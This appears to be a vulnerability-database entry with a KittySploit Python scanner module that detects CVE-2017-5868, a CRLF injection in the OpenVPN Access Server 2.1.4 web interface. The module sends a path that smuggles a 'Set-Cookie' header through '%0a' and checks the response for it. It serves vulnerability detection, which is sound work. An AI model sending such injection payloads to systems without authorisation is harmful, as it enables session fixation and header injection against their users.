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OpenVPN Access Server 2.1.4 - CRLF Injection Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Remote CRLF injection in OpenVPN Access Server web interface allows session fixation.

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24 May 201700:00
–cnvd
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25 May 201719:00
–cve
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25 May 201719:00
–cvelist
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EUVD-2017-14944
7 Oct 202500:30
–euvd
hackerone
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Cuvva: CRLF Injection [vpn.corp.cuvva.com]
24 May 201718:16
–hackerone
hackerone
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Ubiquiti Inc.: CRLF Injection on openvpn.svc.ubnt.com
26 May 201722:41
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20 Oct 202602:05
–nuclei
nvd
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CVE-2017-5868
26 May 201701:29
–nvd
osv_cve
osv_cve
CVE-2017-5868
26 May 201701:29
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""CRLF injection vulnerability in the web interface in OpenVPN Access Server 2."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'OpenVPN Access Server 2.1.4 - CRLF Injection Detection',
        'description': 'CRLF injection vulnerability in the web interface in OpenVPN Access Server 2.1.4 allows remote attackers to inject arbitrary HTTP headers and consequently conduct session fixation attacks and possibly HTTP response splitting attacks via "%0A" characters in the PATH_INFO to __session_start__/.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2017', 'openvpn', 'crlf', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://www.openwall.com/lists/oss-security/2017/05/23/13',
            'http://www.securitytracker.com/id/1038547',
            'https://nvd.nist.gov/vuln/detail/CVE-2017-5868',
        ],
        'cve': 'CVE-2017-5868',
    }

    def run(self):
        r = self.http_request(method="GET", path='/__session_start__/%0aSet-Cookie:%20crlfinjection=1;', allow_redirects=False)
        if not r or r.status_code != 302:
            return False
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        header_regexes = ('^Set-Cookie: crlfinjection=1;',)
        if (any(re.search(rx, headers, 0) for rx in header_regexes)):
            self.set_info(
                severity='medium',
                reason="OpenVPN Access Server 2.1.4 - CRLF Injection detected",
                path='/__session_start__/%0aSet-Cookie:%20crlfinjection=1;',
            )
            return True
        return False

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28 Jul 2026 11:27Current
6.5Medium risk
Vulners AI Score6.5
CVSS 24.3
CVSS 36.1
EPSS0.04622
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